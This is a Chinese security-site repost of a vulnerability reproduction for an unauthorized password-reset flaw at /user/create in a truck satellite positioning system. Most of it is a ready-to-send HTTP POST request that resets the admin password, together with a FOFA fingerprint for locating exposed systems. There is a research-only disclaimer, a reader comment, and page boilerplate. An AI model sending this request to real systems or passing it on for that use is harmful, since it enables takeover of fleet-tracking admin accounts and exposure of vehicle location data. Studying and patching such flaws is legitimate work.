卡车卫星定位系统/user/create存在未授权密码重置漏洞

admin
admin
admin
140350
文章
117
评论
2024年4月24日22:12:461 124 views字数 711阅读2分22秒阅读模式

漏洞描述

卡车卫星定位系统/user/create存在未授权密码重置漏洞，攻击者可利用此漏洞获取web后台管理权限。

资产测绘

FOFA：icon_hash="1553867732"

漏洞复现

POST /user/create HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

account=admin&id=1&password=test&passwordRepeat=test&groupName=111&roleid=5&validend=&phone=&email=&chncount=36&flowType=1&oldFlowType=&flowVal=&flowAlarmVal=&oldFlowAlarmVal=&logContent=111&guid=222&token=




原文始发于微信公众号（漏洞文库）：【漏洞复现】卡车卫星定位系统/user/create存在未授权密码重置漏洞




							

						
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
	
				
				

	
    
		
  • 
			左青龙
		
    • 
		
  • 微信扫一扫
    • 
		
  • 
			weinxin
		
    • 
	

	
    
		
  • 
			右白虎
		
    • 
		
  • 微信扫一扫
    • 
		
  • 
			weinxin
		
    • 
	

	



	
	

		

				

	


	




								

			
		

	
									

					admin				
    
											
  • 本文由  发表于 2024年4月24日22:12:46
    • 
						
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                  
卡车卫星定位系统/user/create存在未授权密码重置漏洞https://cn-sec.com/archives/2686519.html

                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

    • 
			

	



				
				

				
										

				
				

	

			

	




				
				

			



	


				




	
				

			评论  1  访客  1		

		
		
    
			
	
      • 
	
    • 
			
      
		
      
		
					111
		
				2		
			
      
			
				2025年3月10日				下午6:23
				
																									
						1F											
								
      
															 回复												      
		      
	
      
	
      
	
      有人知道这个产品是哪个公司开发的吗
      
			
      
	
      • 

					
    

		
	
	
			
    
		
    
							
    
											
    
														
    
																	
    发表评论
    
																匿名网友
								填写信息